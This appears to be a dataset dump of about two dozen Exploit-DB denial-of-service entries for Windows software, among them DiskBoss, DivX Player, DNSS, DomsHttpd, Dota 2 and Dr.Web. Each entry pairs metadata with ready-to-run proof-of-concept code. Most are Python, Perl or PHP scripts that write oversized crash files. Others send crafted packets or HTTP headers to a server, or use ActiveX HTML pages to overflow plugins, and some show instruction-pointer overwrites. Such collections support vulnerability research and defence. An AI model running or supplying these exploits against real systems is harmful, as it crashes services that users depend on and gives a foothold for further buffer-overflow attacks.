deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48276
Description: DiskBoss 7.7.14 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-04-01
Author: Paras Bhatia

Exploit:
# Exploit Title: DiskBoss 7.7.14 - Denial of Service (PoC) 
# Date: 2020-04-01
# Exploit Author: Paras Bhatia
# Vendor Homepage: https://www.diskboss.com/ 
# Software Link Download: https://github.com/x00x00x00x00/diskboss_7.7.14/raw/master/diskboss_setup_v7.7.14.exe
# Vulnerable Software: DiskBoss
# Version: 7.7.14
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)  

#Steps to Produce the Crash:

#   1.- Run python code: DiskbossCrash.py
#   2.- Copy content to clipboard
#   3.- Open "diskboss.exe" (diskbsg.exe)
#   4.- Go to "Command" > Search Files
#   5.- Click on second + icon (located at right side of "Search Disks, Directories and Network Shares")
#   6.- Click on " Add Input Directory"
#   7.- Paste ClipBoard into the "Directory" field
#   8.- Click on OK
#   9.- Crashed

#Python "DiskbossCrash.py" Code:
   
buffer = "\x41" * 7000
f = open ("DiskbossCrash.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #42917
Description: DiskBoss Enterprise 8.4.16 - Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-09-28
Author: Touhid M.Shaikh

Exploit:
#!/usr/bin/python

#========================================================================================================================
# Exploit Author: Touhid M.Shaikh
# Exploit Title: DiskBoss Enterprise v8.4.16 Local Buffer Overflow(PoC)
# Date: 28-09-2017
# Website: www.touhidshaikh.com
# Vulnerable Software: DiskBoss Enterprise v8.4.16
# Vendor Homepage: http://www.diskboss.com
# Version: v8.4.16
# Software Link: http://www.diskboss.com/downloads.html
# Tested On: Windows 7 x86
#
#
# To reproduce the exploit:
#   1. Click Server
#   2. Click Connect
#   3. In the "Share Name" field, paste the content of buffer.txt , And try
to connect.........BOOoom....
#
#========================================================================================================================


junk = "A"*1312

EIP = "B"*4 #EIP overwritten

b = junk+EIP+"D"*500

f = open('buffer.txt','w')
f.write(b)
f.close()
Exploit-DB #43454
Description: DiskBoss Enterprise 8.5.12 - Denial of Service
Type: dos
Platform: windows
Date: 2018-01-08
Author: Ahmad Mahfouz

Exploit:
# Exploit Title: DiskBoss Enterprise Server 8.5.12 - Denial of Service
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: http:///www.diskboss.com/setups/diskbosssrv_setup_v8.5.12.exe
# Version: v10.1.16
# Category; Windows Remote DOS
# CVE: CVE-2017-15665
# Author Homepage: www.unixawy.com
# Description: DiskBoss Enterprise Server 8.5.12 the Control Protocol suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 8094.

 

 

#!/usr/bin/env python

import socket

target = "192.168.72.133"
port = 8094
s  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))

packet = "\x75\x19\xba\xab\x03"
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
packet += "\x00"
packet += "\x3e"
packet += "\x00"
packet += "\x20"
packet += "\x00"
packet += "\x00"
packet += "\x00"
packet += "\x00\x00\x00\x00"
packet += "SERVER_GET_INFO"
packet += "\x02\x32\x01"
packet += "Data"
packet += "\x01\x30\x01\x00"
packet += "\x04\x02\x74"
packet += "\x18\x18\x00"

s.send(packet)

try:

         data = s.recv(100)

except:

         print "K1LL3D"
Exploit-DB #3157
Description: DivX Player 6.4.1 - DivXBrowserPlugin 'npdivx32.dll' IE Denial of Service
Type: dos
Platform: windows
Date: 2007-01-19
Author: shinnai

Exploit:
<!--
---------------------------------------------------------------------------------------------------------------------
DivX Player 6.4.1 (DivXBrowserPlugin npdivx32.dll) Internet Explorer Denial
of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

This plugin is installed with DivX Player. This is the one you can find with
the last version of the software DivX Player 6.4.1
url: http://www.divx.com/
---------------------------------------------------------------------------------------------------------------------
-->
<html>
<OBJECT id=DivXBrowserPlugin style="LEFT: 0px; WIDTH: 1px; TOP: 0px; HEIGHT:
1px" height=1 width=1
       classid=clsid:67DABFBF-D0AB-41fa-9C46-CC0F21721616>
       <PARAM NAME="_cx" VALUE="26">
       <PARAM NAME="_cy" VALUE="26"></OBJECT>
<script>
DivXBrowserPlugin.GoWindowed()
</script>

# milw0rm.com [2007-01-19]
Exploit-DB #4829
Description: DivX Player 6.6.0 - ActiveX 'SetPassword()' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2008-01-02
Author: anonymous

Exploit:
<object id="divx" classid="clsid:D050D736-2D21-4723-AD58-5B541FFB6C11" style="display:none;">
</object>

<script>
function crash() {
var buff = '';
for(i=0;i<=500;i++) {buff+="AAAAAAAAAA";}

object = document.getElementById("divx");
object.SetPassword(buff);
}
</script>

<pre>
<h3><u>DivX SetPassword (npUpload.dll) Denial of Service</u></h3>
<b>Tested on IE 7 and Divx Player 6.6.0</b>

<b>Registers:</b>

EAX 00000000
ECX FFFFFFFF
EDX 0191CA50
EBX 008E06E0
ESP 0191C9E4
EBP 0191CA50
ESI 00000000
EDI 00000000
EIP 061F2B52 npUpload.061F2B52

Access violation when reading [00000000]...


<i>Discovered by shir, 02/01/2007</i>

<a href="javascript:;" OnClick="crash()">Crash...</a>
</pre>

# milw0rm.com [2008-01-02]
Exploit-DB #5453
Description: DivX Player 6.7.0 - '.srt' File Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-04-15
Author: securfrog

Exploit:
# DIVX Player <= 6.7.0 Buffer Overflow PoC (  .SRT )
# Bug: When parsing a subtitle file with an overly long subtitle DIVX player will deadly crash  with eip overwritted:
# Replace MOVIE_FILENAME by your movie filename ( .avi )
#
#!/usr/local/bin/perl                                        
my $file="MOVIE_FILENAME.srt";                           
                                                             
my $payload = "A" x 4096;                                    
                                                             
open( $file, ">>$file") or die "Cannot open $file: $!";      
   
print $file "1 \n";
print $file "00:00:01,001 --> 00:00:02,001\n";
print $file $payload;                              
                                                             
close($file);                                                
                                                             
print "$file has been created \n";    

# milw0rm.com [2008-04-15]
Exploit-DB #37640
Description: Divx Player 6.8.2 - Denial of Service
Type: dos
Platform: windows
Date: 2012-08-20
Author: Dark-Puzzle

Exploit:
source: https://www.securityfocus.com/bid/55105/info

Divx Player is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to cause the application to crash, denying service to legitimate users.

Divx 6.8.2 is vulnerable; other versions may also be affected. 

# usage : perl divxdOs.pl 
my $id="\x55\x46\x49\x44\x20\x55\x6e\x69\x71\x75\x65\x20\x66\x69\x6c\x65\x20\x69\x64\x65\x6e\x74\x69\x66\x69\x65\x72\x0d\x0a\x55\x53\x45\x52\x20\x54\x65\x72\x6d\x73\x20\x6f\x66\x20\x75\x73\x65\x0d\x0a\x55\x53\x4c\x54\x20\x55\x6e\x73\x79\x6e\x63\x68\x72\x6f\x6e\x69\x7a\x65\x64\x20\x6c\x79\x72\x69\x63\x2f\x74\x65\x78\x74\x20\x74\x72\x61\x6e\x73\x63\x72\x69\x70\x74\x69\x6f\x6e";
my $cdat= "\x0c\x0b\x0b\x0c\x19\x12\x13\x0f\x14\x1d\x1a\x1f\x1e\x1d\x1a\x1c\x1c\x20\x24\x2e\x27\x20\x22\x2c\x23\x1c\x1c\x28\x2b\x78\x29\x2c\x30\x27\x39\x3d\x30\x3c\x2e\x61\x78\x32\xc3\x83\xc2\xbf\xc3\x83\xef\xbf\xbd";

 
my $file= "dark-puzzle.mp3";
open($FILE,">$file");
print $FILE $id.$cdat;
close($FILE);
print "MP3 File Created , Enjoy !!\n";
Exploit-DB #15258
Description: DJ Legend 6.01 - Denial of Service
Type: dos
Platform: windows
Date: 2010-10-15
Author: MOHAMED ABDI

Exploit:
#Exploit Title :DJ Legend Denial of Service Vulnerability
#Software : DJ Legend
#Software link : http://software-files-l.cnet.com/s/software/11/01/29/39/DJLegendTrial_601.exe?e=[PII_REDACTED]&h=2175e25785f74d3d13e14f7b93f3d94f&lop=link&ptype=1901&ontid=18502&siteId=4&edId=3&spi=1b1509d696a5851e6b5d4f3269c5a9af&pid=11012939&psid=10904364&fileName=DJLegendTrial_601.exe
#Autor : ABDI MOHAMED
#Email : abdimohamed@hotmail.fr
#greetz: net_own3r , sadhacker , net-decrypt3r , xa7m3d , mr.fearfactor and all tunisian hackers
#Software version : n/a
#Tested on : Win7 Ultimate fr
#!/usr/bin/python
outfile="killer.pls"
junk="\x41" * 105230
FILE=open(outfile, "w")
FILE.write(junk)
FILE.close()
print "[+] File created succesufully , [+]"
Exploit-DB #9691
Description: DJ Studio Pro 4.2 - '.pls' Local Crash
Type: dos
Platform: windows
Date: 2009-09-15
Author: prodigy

Exploit:
#!/usr/bin/perl -w
#
# DJ Studio Pro 4.2 (.PLS file) Crash Vulnerability Exploit
#
# Founded and exploited by prodigy
#
# Contact: smack_the_stream@hotmail.com
# 
# Vendor: http://www.e-soft.co.uk/
#
# Usage to reproduce the bug: when you created the malicious file, load the file and boooom!
#
# Platform: Windows
#
###################################################################

==PoC==

use strict;

use diagnostics;

my $file= "crash.pls";

my $boom= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "File Created successfully\n";

==EndPoC==


##Greetz: Greetz myself for find the bug.

# milw0rm.com [2009-09-15]
Exploit-DB #46831
Description: DNSS 2.1.8 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-13
Author: Victor Mondragón

Exploit:
#Exploit Title: DNSS Domain Name Search Software 2.1.8 -  Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-12
#Vendor Homepage: www.nsauditor.com 
#Software Link: http://www.nsauditor.com/downloads/dnss_setup.exe
#Tested Version: 2.1.8
#Tested on: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: DNSS_2.1.8.py
#2.- Open DNSS.txt and copy content to clipboard
#3.- Open Dnss
#4.- Select "Register" > "Enter Registration Code..."
#5.- In "Name/Key" paste Clipboard
#6.- Click "Ok"
#7.- Crarshed
 
cod = "\x41" * 300
 
f = open('DNSS.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #47856
Description: Dnss Domain Name Search Software - 'Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-06
Author: Ismail Tasdelen

Exploit:
# Exploit Title: Dnss Domain Name Search Software - 'Key' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/networksleuth_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install Dnss
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.Dnss Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #47861
Description: Dnss Domain Name Search Software - 'Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-06
Author: Ismail Tasdelen

Exploit:
# Exploit Title: Dnss Domain Name Search Software - 'Name' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/networksleuth_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install Dnss
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Name' and click on 'Ok'
6.Dnss Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #46873
Description: docPrint Pro 8.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-20
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: Document Converter (docPrint Pro) v8.0 - Denial of Service (PoC)
# Date: 19/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.verypdf.com
# Software: http://dl.verypdf.net/docprint_pro_setup.exe
# Version: 8.0
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "DocConverter.py", it will create a new file "DocConverter.txt"
# 2.- Copy the text from the generated DocConverterr.txt file to clipboard
# 3.- Open docPrint Document Converter
# 4.- Go to 'Setting' > 'PDF Security'
# 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
# 6.- Click on 'Add File(s)', and select a supported file, e.g. 'sample.doc'
# 7.- Click on 'Start', you will see a crash

buffer = "\x41" * 3000
f = open ("DocConverter.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #6083
Description: Document Imaging SDK 10.95 - ActiveX Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-07-15
Author: r0ut3r

Exploit:
<!--
Document Imaging SDK Buffer Overflow Vulnerability

               DoS Proof of concept

Author: r0ut3r
Mail  : writ3r [at] gmail.com
-----------------------------
-Tested on WinXP Pro SP2

Version: 10.95


Vendor : Black Ice Software

Price  : $999

File : biimgfrm.ocx
CLSID: {79956462-F148-497F-B247-DF35A095F80B}

DLL Settings: 
RegKey Safe for Script: True
RegKey Safe for Init  : True
KillBitSet            : False

Register: 



EIP 7C91B3FB -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EAX 001919C0 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 41414141
ECX 00004141
EDX 00150168 -> 00000000
EDI 41414141



ESI 001919B8 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 0013EA20 -> 0013EAA4
ESP 0013E804 -> 0000021A
-----------------------------
-->
<object classid='clsid:79956462-F148-497F-B247-DF35A095F80B' id='test'></object>



<script language='vbscript'>
 Sub Boom
    buff = String(14356, "A")
    test.GetNumberOfImagesInGifFile buff

 End Sub
</script>
<input type=button onclick=Boom() value='Boom?'>

# milw0rm.com [2008-07-15]
Exploit-DB #12541
Description: Dolphin 2.0 - '.elf' Local Denial of Service
Type: dos
Platform: windows
Date: 2010-05-09
Author: Yakir Wizman

Exploit:
<?php
# Dolphin 2.0 (.elf) Local Daniel Of Service
# Software Site: http://www.dolphin-emu.com/
# Software Download: http://www.dolphin-emu.com/downloads.php?cat_id=9&download_id=94
# Author: Pr0T3cT10n <pr0t3ct10n@gmail.com>
# Site: http://www.nullbyte.org.il
##################################################################
# Dolphin 2.0 is vulnerable to local denial of service attack.
# When we try to open a file by 'Open(CTRL+O)'
# that contains 9999 chars ('A'), so dolphin should crash.
##################################################################
# PoC / Code:
$buffer = str_repeat('A', 99999); # Create 9999 chars('A')..
if(file_put_contents('crash.elf', $buffer)) {
 echo("File created successfuly.\r\nDolphin should crash when you open the file with it.\r\n");
} else {
 echo("Can't create file. Try again.\r\n");
}
# Cya :)
# NULLBYTE.ORG.IL
####################
?>
Exploit-DB #19866
Description: DomsHttpd 1.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2012-07-16
Author: Jean Pascal Pereira

Exploit:
#!/usr/bin/perl

# DomsHttpd 1.0 <= Remote Denial Of Service Exploit

# Credit: Jean Pascal Pereira <pereira@secbiz.de>

# Usage: domshttpd.pl [host] [port]

use strict;
use warnings;
use IO::Socket;

my $host = shift || "localhost";
my $port = shift || 88;

my $sock = IO::Socket::INET->new( Proto => "tcp",
                                  PeerAddr  => $host,
                                  PeerPort  => $port
);


my $junk = "A"x3047;

print $sock "POST / HTTP/1.1\r\nHost: ".$host."\r\nConnection: close\r\nUser-Agent: Mozilla\r\nReferer: http://".$host."/".$junk."\r\n\r\n";

sleep 4;

close($sock);
Exploit-DB #11839
Description: Donar Player 2.2.0 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-03-22
Author: b0telh0

Exploit:
#!/usr/bin/python
#
# Title: Donar Player 2.2.0 Local Crash PoC
# Date: 03-21-2010
# Author: b0telh0
# Link: http://www.donarzone.com/downloads/donar-player-setup-free.exe
# Tested on: Windows XP SP3


crash = "\x41" * 1000

try:
     file = open('b0t.wma','w');
     file.write(crash);
     file.close();
     print "\n[+] b0t.wma created."
     print "[+] File > Music Library > Add Files..."
     print "[+] Open b0t.wma and play it.\n"
except:
     print "\n[-] Error.. Can't write file to system.\n"
Exploit-DB #17471
Description: Donar Player 2.8.0 - Denial of Service
Type: dos
Platform: windows
Date: 2011-07-03
Author: X-h4ck

Exploit:
# ########################################
# Title         : Donar Player 2.8.0 Denial of Service
# Software link : http://www.donarzone.com/downloads/donar-player-setup-free.exe , http://www.donarzone.com/donar-player
# Version       : 2.8.0
# Tested on     : Windows XP SP3 English
# Date          : 3/07/2011
# Author        : X-h4ck
# Website       : http://www.pirate.al , # PirateAL Crew @2011 , http://theflashcrew.blogspot.com
# Email         : mem001@live.com
# Greetz        : Wulns~ - IllyrianWarrior - Danzel - Ace - M4yh3m - Saldeath - bi0 - Slimshaddy - d3trimentaL - Lekosta 
# ########################################

#!/usr/bin/python

filename = "crash.wma"

junk = "\x41" * 1337

FILE = open(filename, "w")
FILE.write(junk)
FILE.close()
print " Open", filename, "on Donar Player and play it.. (the application will Crash)"
print " PirateAL Crew"
Exploit-DB #48031
Description: Dota 2 7.23f - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-02-10
Author: Bogdan Kurinnoy

Exploit:
# Exploit Title: Dota 2 7.23f - Denial of Service (PoC)
# Google Dork: N/A
# Date: 2020-02-05
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com) (bi7s)
# Vendor Homepage: https://www.valvesoftware.com/en/
# Software Link: N/A
# Version: 7.23f
# Tested on: Windows 10 (x64)
# CVE : CVE-2020-7949


Valve Dota 2 (schemasystem.dll) before 7.23f allows remote attackers to
achieve code execution or denial of service by creating a gaming server and
inviting a victim to this server, because a crafted map is mishandled
during a GetValue call.

Attacker need invite a victim to play on attacker game server using
specially crafted map or create custom game, then when initialize the game
of the victim, the specially crafted map will be automatically downloaded
and processed by the victim, which will lead to the possibility to exploit
vulnerability. Also attacker can create custom map and upload it to Steam
<https://steamcommunity.com/sharedfiles/filedetails/?id=328258382>.
Steps for reproduce:

   1. Copy attached file zuff.vpk (
   https://github.com/bi7s/CVE/blob/master/CVE-2020-7949/zuff.zip) to map
   directory (C:\Program Files (x86)\Steam\steamapps\common\dota 2
   beta\game\dota\maps)
   2. Launch Dota2
   3. Launch "zuff" map from Dota2 game console. Command for game console =
   map zuff
   4. Dota2 is crash (Access Violation)

Debug information:

(2098.1634): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for C:\Program Files (x86)\Steam\steamapps\common\dota 2
beta\game\bin\win64\schemasystem.dll -
(2098.1634): Access violation - code c0000005 (!!! second chance !!!)
rax=00000000ffffffff rbx=0000027ba23dd9b6 rcx=0000027ba23dd9b6
rdx=[PII_REDACTED] rsi=0000027b5ffb9774 rdi=[PII_REDACTED]
rip=00007ffa73af90ce rsp=000000e82bcfe900 rbp=[PII_REDACTED]
 r8=[PII_REDACTED]2ee51c  r9=000000e82bcfea88 r10=0000027b5ffb9774
r11=[PII_REDACTED]2ee51c r12=0000027b5ffbe582 r13=000000e82bcfe9f0
r14=0000027b5ffb5328 r15=[PII_REDACTED]
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010200
schemasystem!BinaryProperties_GetValue+0x10ae:
00007ffa`73af90ce 40383b          cmp     byte ptr [rbx],dil
ds:0000027b`a23dd9b6=??
Exploit-DB #6216
Description: Download Accelerator Plus DAP 8.6 - 'AniGIF.ocx' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-08-10
Author: Guido Landi

Exploit:
<html>
<body>
<object classid='clsid:82[PII_REDACTED]-11D1-A24B-00A0C932C7DF' id='target' />
</object>
<script language=javascript>

// anigif.ocx by www.jcomsoft.com can be found distribuited with some applications, 
// I found it in Download Accelerator Plus 6.8. 
// DAP comes with an old version, but the last from jcomsoft is also vulnerable:
// there's a stack-based buffer overflow in the ReadGIF and ReadGIF2 methods, 
// the funny thing is that after the first exception that will be handled by IE,
// when the object is released we reach RtlpCoalesceFreeBlocks owning eax and ecx 
// with windogs xp sp1 or the second check of safe-unlink with sp2 in a standard heap 
// overflow scenario.

var buf;
for (var i=0; i<259; i++) buf += "X";

buf +="BBBB";
buf += "CCCC";

for (var i=0; i<5728; i++) buf += "H";

target.ReadGIF(buf);

window.location = "http://www.google.com";

</script>
</body>
</html>

# milw0rm.com [2008-08-10]
Exploit-DB #22328
Description: Dr.Web 4.x - Virus Scanner Folder Name Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2003-03-05
Author: Fernandez Madrid

Exploit:
source: https://www.securityfocus.com/bid/7022/info

A buffer overflow vulnerability has been reported for Dr. Web virus scanner. The vulnerability is due to insufficient bounds checking when processing folder names.

An attacker is able to exploit this vulnerability by creating a malicious folder name of excessive length. When a virus scan is initiated, processing the folder name will trigger the buffer overflow condition. Successful exploitation of this issue will result in the execution of attacker-supplied code with the privileges of the Dr. Web virus scanner process.

This vulnerability has been reported for Dr.Web version 4.28 and earlier. 

set a= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA
set b= BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBB

mkdir /$a
mkdir /$a/$b

Or:

SET A = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA
SET B = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBB

mkdir \\?\c:\%A%
mkdir \\?\c:\%B%
Exploit-DB #12027
Description: DSEmu 0.4.10 - '.nds' Local Crash
Type: dos
Platform: windows
Date: 2010-04-03
Author: l3D

Exploit:
#!/usr/bin/env python
#DSEmu 0.4.10 (.nds) local crash
#Author: l3D
#Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il
#IRC: irc://irc.nix.co.il
#Email: pupipup33@gmail.com

blah=open('crash.nds', 'w')
blah.write('w00t'*12)
blah.close()